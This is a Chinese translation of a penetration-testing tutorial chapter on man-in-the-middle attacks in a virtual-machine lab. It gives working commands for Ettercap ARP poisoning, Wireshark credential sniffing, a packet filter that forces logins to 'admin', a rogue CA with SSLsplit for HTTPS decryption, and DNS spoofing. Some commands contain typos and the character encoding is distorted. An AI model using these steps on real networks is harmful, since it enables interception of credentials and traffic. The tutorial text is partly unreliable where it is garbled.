第八章 中間人攻擊

作者:Gilberto Najera-Gutierrez
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0

簡(jiǎn)介

中間人(MITM)攻擊是一種攻擊類型,其中攻擊者將它自己放到兩方之間,通常是客戶端和服務(wù)端通信線路的中間。這可以通過(guò)破壞原始頻道之后攔截一方的消息并將它們轉(zhuǎn)發(fā)(有時(shí)會(huì)有改變)給另一方來(lái)實(shí)現(xiàn)。

讓我們觀察下面這個(gè)例子:



Alice 連接到了 Web 服務(wù)器上,Bob打算了解 Alice 正在發(fā)送什么信息。于是 Bob 建立 MITM 攻擊,通過(guò)告訴服務(wù)器他是 Alice,并且告訴 Alice 他是服務(wù)器。現(xiàn)在,所有 Alice 的請(qǐng)求都會(huì)發(fā)給 Bob,Bob 會(huì)將它們轉(zhuǎn)發(fā)給服務(wù)器,并對(duì)服務(wù)器的響應(yīng)做相同操作。這樣,Bob 就能夠攔截、讀取或修改所有 Alice 和服務(wù)器之間的流量。

雖然 MITM 攻擊并不特定與 Web 攻擊,了解如何執(zhí)行它們,以及如何防止它們,對(duì)于任何滲透測(cè)試者都非常重要,因?yàn)樗鼈兛梢杂糜谕等∶艽a,劫持會(huì)話,或者執(zhí)行 Web 應(yīng)用中的非授權(quán)操作。

這一章中,我們會(huì)建立起中間人攻擊,并使用它來(lái)獲得信息,以及執(zhí)行更加復(fù)雜的攻擊。

8.1 使用 Ettercap 執(zhí)行欺騙攻擊

地址解析協(xié)議(ARP)欺騙可能是最常見(jiàn)的 MITM 攻擊。它基于一個(gè)事實(shí),就是 ARP 并不驗(yàn)證系統(tǒng)所收到的響應(yīng)。這就意味著,當(dāng) Alice 的電腦詢問(wèn)網(wǎng)絡(luò)上的所有設(shè)備,“IP 為 xxx.xxx.xxx.xxx 的機(jī)器的 MAC 地址是什么”時(shí),它會(huì)信任從任何設(shè)備得到的答復(fù)。該設(shè)備可能是預(yù)期的服務(wù)器,也可能是不是。ARP 欺騙或毒化的工作方式是,發(fā)送大量 ARP 響應(yīng)給通信的兩端,告訴每一端攻擊者的 MAC 地址對(duì)應(yīng)它們另一端的 IP 地址。

這個(gè)秘籍中,我們會(huì)使用Ettercap 來(lái)執(zhí)行 ARP 欺騙攻擊,并將我們放到客戶端和服務(wù)器之間。

準(zhǔn)備

對(duì)于這個(gè)秘籍,我們會(huì)使用第一章配置的客戶端虛擬機(jī),和vulnerable_vm。客戶端的 IP 是 192.168.56.101,vulnerable_vm 是 192.168.56.102。

操作步驟

  • 1.將兩個(gè)虛擬機(jī)打開(kāi),我們的 Kali Linux(192.168.56.1)主機(jī)是攻擊者的機(jī)器。打開(kāi)終端窗口并輸入下列命令:
1  ettercap –G

從 Ettercap 的主菜單中,選擇Sniff | Unified Sniffing

  • 2.在彈出的對(duì)話框中選擇你打算使用的網(wǎng)絡(luò)接口,這里我們選擇vboxnet0,像這樣:

  • 3.既然我們嗅探了網(wǎng)絡(luò),下一步就是識(shí)別哪個(gè)主機(jī)正在通信。訪問(wèn)主菜單的Hosts之后選擇Scan for hosts

  • 4.從我們發(fā)現(xiàn)的主機(jī)中,選擇我們的目標(biāo)。從Hosts菜單欄中選擇Hosts list

  • 5.從列表中選擇192.168.56.101,并點(diǎn)擊Add to Target 1

  • 6.之后選擇192.168.56.102,之后點(diǎn)擊Add to Target 2

  • 7.現(xiàn)在我們檢查目標(biāo):在Targets菜單中,選擇Current targets

  • 8.我們現(xiàn)在準(zhǔn)備好了開(kāi)始欺騙攻擊,我們的位置在服務(wù)器和客戶端中間,在Mitm菜單中,選擇ARP poisoning

  • 9.在彈出的窗口中,選中Sniff remote connections,然后點(diǎn)擊OK

這就結(jié)束了,我們現(xiàn)在可以看到在客戶端和服務(wù)端之間的流量。

工作原理

在我們鍵入的第一個(gè)命令中,我們告訴 Ettercap 啟動(dòng) GTK 界面。

其它界面選項(xiàng)為-T啟動(dòng)文本界面,-C啟動(dòng)光標(biāo)(以 ASCII 文本),-D運(yùn)行為守護(hù)進(jìn)程,沒(méi)有界面。

之后,我們啟動(dòng)了 Ettercap 的嗅探功能。統(tǒng)一模式意味著我們會(huì)通過(guò)單一網(wǎng)絡(luò)接口接受并發(fā)送信息。當(dāng)我們的目標(biāo)通過(guò)不同網(wǎng)絡(luò)接口到達(dá)時(shí),我們選擇橋接模式。例如,如果我們擁有兩個(gè)網(wǎng)卡,并且通過(guò)其一連接到客戶端,另一個(gè)連接到服務(wù)端。

在嗅探開(kāi)始之后,我們選擇了目標(biāo)。

事先選擇你的目標(biāo)

單次攻擊中,選擇唯一必要主機(jī)作為目標(biāo)非常重要,因?yàn)槎净魰?huì)生成大量網(wǎng)絡(luò)流量,并導(dǎo)致所有主機(jī)的性能問(wèn)題。在開(kāi)始 MITM 攻擊之前,弄清楚那兩個(gè)系統(tǒng)會(huì)成為目標(biāo),并僅僅欺騙這兩個(gè)系統(tǒng)。

一旦設(shè)置了目標(biāo),我們就可以開(kāi)始 ARP 毒化攻擊。Sniffing remote connections意味著 Ettercap 會(huì)捕獲和讀取所有兩端之間的封包,Only poison one way在我們僅僅打算毒化客戶端,而并不打算了解來(lái)自服務(wù)器或網(wǎng)關(guān)的請(qǐng)求時(shí)(或者它擁有任何對(duì) ARP 毒化的保護(hù)時(shí))非常實(shí)用。

8.2 使用 Wireshark 執(zhí)行 MITM 以及捕獲流量

Ettercap 可以檢測(cè)到經(jīng)過(guò)它傳播的相關(guān)信息,例如密碼。但是,在滲透測(cè)試的時(shí)候,它通常不足以攔截一些整數(shù),我們可能要尋找其他信息,類似信用卡的號(hào)碼,社會(huì)安全號(hào)碼,名稱,圖片或者文檔。擁有一個(gè)可以監(jiān)聽(tīng)網(wǎng)絡(luò)上所有流量的工具十分實(shí)用,以便我們保存和之后分析它們。這個(gè)工具是個(gè)嗅探器,最符合我們的目的的工具就是 Wireshark,它包含于 Kali Linux。

這個(gè)秘籍中,我們會(huì)使用 Wireshark 來(lái)捕獲所有在客戶端和服務(wù)端之間發(fā)送的封包來(lái)獲取信息。

準(zhǔn)備

在開(kāi)始之前我們需要讓 MITM 工作。

操作步驟

  • 1.從 Kali Applications菜單的Sniffing & Spoofing啟動(dòng) Wireshark,或者從終端中執(zhí)行:
1  wireshark
  • 2.當(dāng) Wireshark 加載之后,選項(xiàng)你打算用于捕獲封包的網(wǎng)卡。我們這里選擇vboxnet0,像這樣:

  • 3.之后點(diǎn)擊Start。你會(huì)立即看到 Wireshark 正在捕獲 ARP 封包,這就是我們的攻擊。

  • 4.現(xiàn)在,來(lái)到客戶端虛擬機(jī),瀏覽http://192.168.56.102/ dvwa
    ,并登陸 DVWA。

  • 5.在 Wireshark 中的info區(qū)域中,查找來(lái)自192.168.56.101192.168.56.102,帶有 POST /dvwa/login.php的 HTTP 封包。


    如果我們?yōu)g覽所有捕獲的封包,我們會(huì)看到一個(gè)封包對(duì)應(yīng)授權(quán),并會(huì)看到我們可以以純文本獲得用戶名和密碼。

使用過(guò)濾器

我們可以在 Wireshark 中使用過(guò)濾器來(lái)只展示我們感興趣的封包。例如,為了只查看 登錄頁(yè)面的 HTTP 請(qǐng)求,我們可以使用:http. request.uri contains "login"

如果我們查看 Ettercap 的窗口,我們也能看到用戶名和密碼,像這樣:


通過(guò)捕獲客戶端和服務(wù)端之間的流量,攻擊者能夠提取和利用所有類型的敏感信息,例如用戶名、密碼、會(huì)話 Cookie、賬戶號(hào)碼、信用卡號(hào)碼、私人郵件,以及其它。

工作原理

Wireshark 監(jiān)聽(tīng)每個(gè)我們選擇監(jiān)聽(tīng)的接口上的封包,并在它的界面中顯示。我們可以選擇監(jiān)聽(tīng)多個(gè)接口。

當(dāng)我們首先啟動(dòng)嗅探的時(shí)候,我們了解了 ARP 欺騙如何工作。它發(fā)送大量 ARP 封包給客戶端和服務(wù)端,以便防止它們的地址解析表(ARP 表)從正當(dāng)?shù)闹鳈C(jī)獲得正確的值。

最后,當(dāng)我們向服務(wù)器發(fā)送請(qǐng)求時(shí),我們看到了 Wireshark 如何捕獲所有包含在請(qǐng)求中的信息,包含協(xié)議、來(lái)源和目的地 IP。更重要的是,它包含了由客戶端發(fā)送的數(shù)據(jù),其中包含管理員密碼。

另見(jiàn)

研究 Wireshark 數(shù)據(jù)有一些無(wú)聊,所以了解如何在捕獲封包時(shí)使用顯示過(guò)濾器非常重要。你可以訪問(wèn)下列站點(diǎn)來(lái)了解更多信息。

使用 Wireshark,你可以通過(guò)捕獲過(guò)濾器來(lái)選擇捕獲哪種數(shù)據(jù)。這是非常實(shí)用的特性,尤其是執(zhí)行 MITM攻擊時(shí)生成大量流量的時(shí)候。你可以從下列站點(diǎn)中閱讀更多信息。

8.3 修改服務(wù)端和客戶端之間的數(shù)據(jù)

在執(zhí)行 MITM 攻擊時(shí),我們不僅僅能夠監(jiān)聽(tīng)在受害者系統(tǒng)之間發(fā)送的任何數(shù)據(jù),也能夠修改請(qǐng)求和響應(yīng),因而按照我們的意圖調(diào)整它們的行為。

這個(gè)秘籍中,我們會(huì)使用 Ettercap 過(guò)濾器來(lái)檢測(cè)封包是否包含我們感興趣的信息,并觸發(fā)改變后的操作。

準(zhǔn)備

在開(kāi)始之前我們需要讓 MITM 工作。

操作步驟

  • 1.我們的第一步是創(chuàng)建過(guò)濾器文件。將下列代碼保存到文本文件中(我們命名為regex-replace-filter.filter):
1
2  # If the packet goes to vulnerable_vm on TCP port 80 (HTTP) 
3  
4  if (ip.dst == '192.168.56.102'&& tcp.dst == 80) { 
5    # if the packet's data contains a login page  
6    if (search(DATA.data, "POST")){ 
7      msg("POST request"); 
8      if (search(DATA.data, "login.php") ){ 
9        msg("Call to login page"); 
10       # Will change content's length to prevent server from failing 
11       pcre_regex(DATA.data, "Content-Length:\ [0-9]*","Content-Length: 41"); 
12       msg("Content Length modified"); 
13       # will replace any username by "admin" using a regular expression 
14       if (pcre_regex(DATA.data, "username=[a-zAZ]*&","username=admin&")) { 
15         msg("DATA modified\n"); 
16       }  
17     msg("Filter Ran.\n"); 
18   } 
19  } 
20 }

#符號(hào)使注釋。這個(gè)語(yǔ)法非常類似于 C,除了注釋和一些不同。

  • 2.下面我們需要為 Ettercap 編譯過(guò)濾器來(lái)使用它。從終端中,執(zhí)行下列命令。
1  etterfilter -o regex-replace-filter.ef regex-replace-filter.filter
  • 3.現(xiàn)在,從 Ettercap 的菜單中,選擇Filters | Load a filter,后面是regexreplace-filter.ef,并點(diǎn)擊Open
    我們會(huì)看到 Ettercap 的日志窗口中出現(xiàn)新的條目,表明新的過(guò)濾器已經(jīng)加載了。

  • 4.在客戶端中,瀏覽http://192.168.56.102/dvwa/并使用密碼admin登陸任意用戶,例如:inexistentuser: admin


    用戶現(xiàn)在登陸為管理員,并且攻擊者擁有了對(duì)兩個(gè)用戶都生效的密碼。

  • 5.如果我們檢查 Ettercap 的日志,我們可以看到我們編寫(xiě)在代碼中的消息會(huì)出現(xiàn)在這里,像這樣:


工作原理

ARP 欺騙攻擊是更加復(fù)雜的攻擊的開(kāi)始。這個(gè)秘籍中,我們使用了 Ettercap 的封包過(guò)濾功能來(lái)識(shí)別帶有特定內(nèi)容的封包,并修改它來(lái)強(qiáng)制讓用戶以管理員登錄應(yīng)用。這也可以從服務(wù)端到客戶端來(lái)完成,可以用來(lái)通過(guò)展示一些偽造信息來(lái)欺騙用戶。

我們的第一步是創(chuàng)建過(guò)濾腳本,它首先檢查被分析的封包是否含有我們打算改變的信息,像這樣:

1  if (ip.dst == '192.168.56.102'&& tcp.dst == 80) {

如果目標(biāo) IP 是 vulnerable_vm之一,且 TCP 端口是 80(默認(rèn) HTTP 端口號(hào)),它就是發(fā)往我們打算攔截的服務(wù)器的請(qǐng)求。

1  if (search(DATA.data, "POST")){ 
2    msg("POST request"); 
3    if (search(DATA.data, "login.php") )}

如果請(qǐng)求使用 POST 方法,且去往login.php頁(yè)面,它就是登錄嘗試,因?yàn)檫@是我們的目標(biāo)應(yīng)用接收登錄嘗試的方式。

1  pcre_regex(DATA.data, "Content-Length\:\ [0-9]*","Content-Length: 41");

我們使用正則表達(dá)式來(lái)獲取請(qǐng)求中的Content-Length參數(shù),并將它的值改為 41,這是我們發(fā)送帶有admin/admin憑證的登錄封包的長(zhǎng)度。

1  if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){ 
2    msg("DATA modified\n"); 
3  }

同樣,使用正則表達(dá)式,我們?cè)谡?qǐng)求中查找用戶名稱值,并將它替換為admin

消息(msg)僅僅用于跟蹤和調(diào)試目的,可以被從腳本中忽略。

在編寫(xiě)完腳本之后,我們使用 Ettercap 的 etterfilter 編譯他,以便執(zhí)行它。之后,我們?cè)?Ettercap 中加載它,然后等待客戶端連接。

8.4 發(fā)起 SSL MITM 攻擊

如果我們使用我們目前的方法嗅探 HTTPS 會(huì)話,我們不能從中得到很多信息,因?yàn)樗型ㄐ哦际羌用艿摹?/p>

為了攔截、讀取和修改 SSL 和 TLS 的連接,我們需要做一系列準(zhǔn)備步驟,來(lái)建立我們的 SSL 代理。SSLsplit 的仿作方式是使用兩個(gè)證書(shū),一個(gè)用于告訴服務(wù)器這是客戶端,以便它可以接收和解密服務(wù)器的響應(yīng),另一個(gè)告訴客戶端這是服務(wù)器。對(duì)于第二個(gè)證書(shū),如果我們打算代替一個(gè)擁有自己的域名的網(wǎng)站,并且它的證書(shū)由認(rèn)證中心(CA)簽發(fā),我們就需要讓 CA 為我們簽發(fā)根證書(shū),但因?yàn)槲覀兪枪粽撸覀兙托枰约簛?lái)做。

這個(gè)秘籍中,我們會(huì)配置我們自己的 CA,以及一些 IP 轉(zhuǎn)發(fā)規(guī)則來(lái)執(zhí)行 SSL 中間人攻擊。

操作步驟

  • 1.首先,我們打算在 Kali 上創(chuàng)建 CA 私鑰,所以在 root 終端中鍵入下列命令:
1  openssl genrsa -out certaauth.key 4096 
  • 2.現(xiàn)在讓我們創(chuàng)建一個(gè)使用這個(gè)密鑰簽名的證書(shū):
1  openssl req -new -x509 -days 365 -key certauth.key -out ca.crt
  • 3.填充所需信息(或者僅僅對(duì)每個(gè)字段按下回車(chē))。

  • 4.下面,我們需要開(kāi)啟 IP 轉(zhuǎn)發(fā)來(lái)開(kāi)啟系統(tǒng)的路由功能(將目標(biāo)不是本地主機(jī)的 IP 包轉(zhuǎn)發(fā)到網(wǎng)關(guān)):

1  echo 1 > /proc/sys/net/ipv4/ip_forwar
  • 5.現(xiàn)在我們打算配置一些會(huì)澤來(lái)防止轉(zhuǎn)發(fā)任何東西。首先,讓我們檢查我們的 iptables 的nat表中是否有任何東西:
1  iptables -t nat -L
  • 6.如果有東西,你可能打算備份一下,因?yàn)槲覀儠?huì)刷新它們,如下:
1  iptables -t nat -L > iptables.nat.bkp.txt 
  • 7.現(xiàn)在讓我們刷新整個(gè)表。
1  iptables -t nat -F
  • 8.之后我們建立 PREROUTING 規(guī)則:
1  iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --toports 8080 
2  iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --toports 8443 

現(xiàn)在我們已經(jīng)準(zhǔn)備好嗅探加密連接。

工作原理

這個(gè)秘籍中,我們配置了 Kali 主機(jī)來(lái)充當(dāng) CA,這意味著它可以校驗(yàn) SSLsplit 使用的證書(shū)。在前兩步中,我們僅僅創(chuàng)建了私鑰,和使用私鑰簽名的證書(shū)。

下面,我們建立了端口轉(zhuǎn)發(fā)規(guī)則。我們首先開(kāi)啟了轉(zhuǎn)發(fā)選項(xiàng),之后創(chuàng)建了 iptables 規(guī)則來(lái)將 80 端口的請(qǐng)求轉(zhuǎn)發(fā)到 443(HTTP 到 HTTPS)。這是為了重定向請(qǐng)求。我們的 MITM 攻擊會(huì)攔截 SSLsplit,便于它使用一個(gè)證書(shū)來(lái)解密收到的消息、處理它,使用另一個(gè)證書(shū)加密并發(fā)送到目的地。

另見(jiàn)

你應(yīng)該了解更多加密證書(shū)以及 SSL 和 TLS 協(xié)議,還有 SSLsplit,可以訪問(wèn)這里:

8.5 使用 SSLsplit 獲得 SSL 數(shù)據(jù)

在之前的密集中,我們準(zhǔn)備了環(huán)境來(lái)攻擊 SSL/TLS 連接。而這個(gè)秘籍中,我們會(huì)使用 SSLsplit 來(lái)完成 MITM 攻擊并從加密連接中提取信息。

準(zhǔn)備

我們需要在開(kāi)始秘籍之前執(zhí)行 ARP 欺騙攻擊,并成功完成了上一個(gè)秘籍。

操作步驟

  • 1.首先,我們需要?jiǎng)?chuàng)建目錄,其中 SSLsplit 在里面存放日志。打開(kāi)終端并創(chuàng)建兩個(gè)目錄,像這樣:
1  mkdir /tmp/sslsplit 
2  mkdir /tmp/sslsplit/logdir
  • 2.現(xiàn)在,讓我們啟動(dòng) SSLSplit:
1  sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir -k certauth.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
  • 3.現(xiàn)在,SSLSplit 正在運(yùn)行,Windows 客戶端和 vulnerable_vm 之間存在 MITM,來(lái)到客戶端并訪問(wèn)https://192.168.56.102/dvwa/

  • 4.瀏覽器會(huì)要求確認(rèn),因?yàn)槲覀兊?CA 和證書(shū)并不是被任何瀏覽器官方承認(rèn)的。設(shè)置例外并繼續(xù)。


  • 5.現(xiàn)在登錄 DVWA ,使用管理員用戶和密碼。

  • 6.讓我們看看 SSLSplit 中發(fā)生了什么。打開(kāi)新的終端并檢查日志內(nèi)容,在我們?yōu)?SSLSplit 創(chuàng)建的目錄中:

1  ls /tmp/sslsplit/logdir/ 
2  cat /tmp/sslsplit/logdir/*

現(xiàn)在,即使 Ettercap 和 Wireshark 只能看到加密數(shù)據(jù),我么也可以以純文本在 SSLSplit 中查看通信。

工作原理

這個(gè)秘籍中,我們繼續(xù) SSL 連接上的攻擊。在第一步中,我們創(chuàng)建了目錄,其中 SSLSplit 會(huì)將捕獲到的信息存在里面。

第二步就是使用下列命令執(zhí)行 SSLSplit:

  • -D:這是在前臺(tái)運(yùn)行 SSLSplit,并不是守護(hù)進(jìn)程,并帶有詳細(xì)的輸出。

  • -l connections.log:這將每個(gè)連接的記錄保存到當(dāng)前目錄的connections.log中。

  • -j /tmp/sslsplit:這用于建立jail directory目錄,/tmp/sslsplit會(huì)作為 root(chroot)包含 SSLSplit 的環(huán)境。

  • -S logdir:這用于告訴 SSLSplit 將內(nèi)容日志(所有請(qǐng)求和響應(yīng))保存到logdir(在jail目錄中),并將數(shù)據(jù)保存到單獨(dú)的文件中。

  • -k-c:這用于指明和充當(dāng) CA 時(shí),SSLSplit 所使用的私鑰和證書(shū)。

  • ssl 0.0.0.0 8443:這告訴 SSLSplit 在哪里監(jiān)聽(tīng) HTTPS(或者其它加密協(xié)議)連接。要記住這是我們?cè)谏弦徽轮惺褂?iptables 從 443 轉(zhuǎn)發(fā)的接口。

  • tcp 0.0.0.0 8080:這告訴 SSLSplit 在哪里監(jiān)聽(tīng) HTTP 連接。要記住這是我們?cè)谏弦徽轮惺褂?iptables 從 80 轉(zhuǎn)發(fā)的接口。

在執(zhí)行這些命令之后,我們等待客戶端瀏覽器服務(wù)器的 HTTPS 頁(yè)面并提交數(shù)據(jù),之后我們檢查日志文件來(lái)發(fā)現(xiàn)未加密的信息。

8.6 執(zhí)行 DNS 欺騙并重定向流量

DNS 欺騙是一種攻擊,其中執(zhí)行 MITM 攻擊的攻擊者使用它來(lái)修改響應(yīng)受害者的 DNS 服務(wù)器中的名稱解析,發(fā)送給他們惡意頁(yè)面,而不是他們請(qǐng)求的頁(yè)面,但仍然使用有效名稱。

這個(gè)秘籍中,我們會(huì)使用 Ettercap 來(lái)執(zhí)行 DNS 欺騙攻擊,并在受害者打算瀏覽別的網(wǎng)站時(shí),使其瀏覽我們的網(wǎng)站。

準(zhǔn)備

對(duì)于這個(gè)秘籍,我們需要使用我們的 WIndows 客戶端虛擬機(jī),但是這次網(wǎng)絡(luò)識(shí)別器橋接到 DNS 解析中。這個(gè)秘籍中它的 IP 地址為 192.168.71.14。

攻擊者的機(jī)器是我們的 Kali 主機(jī),IP 為 192.168.71.8。它也需要運(yùn)行 Apache 服務(wù)器,并擁有index.html演示頁(yè)面,我們會(huì)包含下列東西:

1  <h1>Spoofed SITE</h1>

操作步驟

  • 1.假設(shè)我們已經(jīng)啟動(dòng)了 Apache 服務(wù)器,并正確配置了偽造頁(yè)面,讓我們編輯/etc/ettercap/etter.dns,使它僅僅包含下面這一行:
1  * A 192.168.71.8

我們僅僅設(shè)置一條規(guī)則:所有 A 記錄(地址記錄)都解析到192.168.71.8,這是我們 Kali 的地址。我們可以設(shè)置其他條目,但是我們打算在這里避免干擾。

  • 2.這次,我們從命令行運(yùn)行 Ettercap。打開(kāi) root 終端并鍵入下列命令:
1  ettercap -i wlan0 -T -P dns_spoof -M arp /192.168.71.14///

它會(huì)以文本模式運(yùn)行 Ettercap,并開(kāi)啟 DNS 欺騙插件來(lái)執(zhí)行 ARP 欺騙攻擊,目標(biāo)僅僅設(shè)置為192.168.71.14

  • 3.啟動(dòng)攻擊之后,我們來(lái)到客戶端主機(jī),并嘗試通過(guò)網(wǎng)站自己的域名來(lái)瀏覽網(wǎng)站,例如,www.yahoo.com,像這樣:


    要注意,現(xiàn)在地址和標(biāo)簽欄顯示原始站點(diǎn)的名稱,但是內(nèi)容來(lái)自不同的地方。

  • 4.我們也可以嘗試使用nslookup執(zhí)行地址解析,像這樣:

工作原理

這個(gè)秘籍中,我們看到如何使用中間人攻擊來(lái)強(qiáng)制用戶瀏覽某個(gè)頁(yè)面,他們甚至相信自己在其它站點(diǎn)上。

在第一步中,我們修改了 Ettercap 的名稱解析文件,讓它將所有請(qǐng)求的名稱重定向到我們的 Kali 主機(jī)。

之后,我們以下列參數(shù)運(yùn)行 Ettercap:-i wlan0 -T -P dns_spoof -M arp /192.168.71.14///

  • -i wlan0:要技術(shù)我們需要客戶端進(jìn)行 DNS 解析,所以我們需要讓它連接到橋接的適配器,并到達(dá)我們的 Kali 主機(jī),所以我們將嗅探接口設(shè)為wlan0(攻擊者計(jì)算機(jī)上的無(wú)線網(wǎng)卡)。

  • -T:使用純文本界面。

  • -P dns_spoof:?jiǎn)?dòng) DNS 欺騙插件。

  • -M arp:執(zhí)行 ARP 欺騙攻擊。

  • /192.168.71.14///:這是我們?cè)诿钚兄袑?duì) Ettercap 設(shè)置目標(biāo)的方式:MAC/ip_address/port。其中//表示任何對(duì)應(yīng) IP 192.168.71.14(客戶端)任何端口的 MAC 地址。

最后,我們確認(rèn)了攻擊能夠正常工作。

另見(jiàn)

也有另一個(gè)非常實(shí)用的用于這些類型攻擊的工具,叫做 dnsspoof。你應(yīng)該下載下來(lái)并加入工具庫(kù):

1  man dnsspoof

http://www.monkey.org/~dugsong/dsniff/
另一個(gè)值得提及的工具是中間人攻擊框架:MITMf。它包含內(nèi)建的 ARP 毒化、DNS 欺騙、WPAD 代理服務(wù)器,以及其它攻擊類型的功能。

1  mitmf --help

版權(quán)聲明:本文轉(zhuǎn)載自wizardforcel的專欄,如有侵權(quán),請(qǐng)與本人聯(lián)系。
專欄鏈接:http://blog.csdn.net/wizardforcel

原文鏈接:http://blog.csdn.net/wizardforcel/article/details/52798019

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,606評(píng)論 6 533
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,582評(píng)論 3 418
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 176,540評(píng)論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 63,028評(píng)論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,801評(píng)論 6 410
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 55,223評(píng)論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,294評(píng)論 3 442
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 42,442評(píng)論 0 289
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,976評(píng)論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,800評(píng)論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 42,996評(píng)論 1 369
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,543評(píng)論 5 360
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,233評(píng)論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 34,662評(píng)論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 35,926評(píng)論 1 286
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 51,702評(píng)論 3 392
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 47,991評(píng)論 2 374

推薦閱讀更多精彩內(nèi)容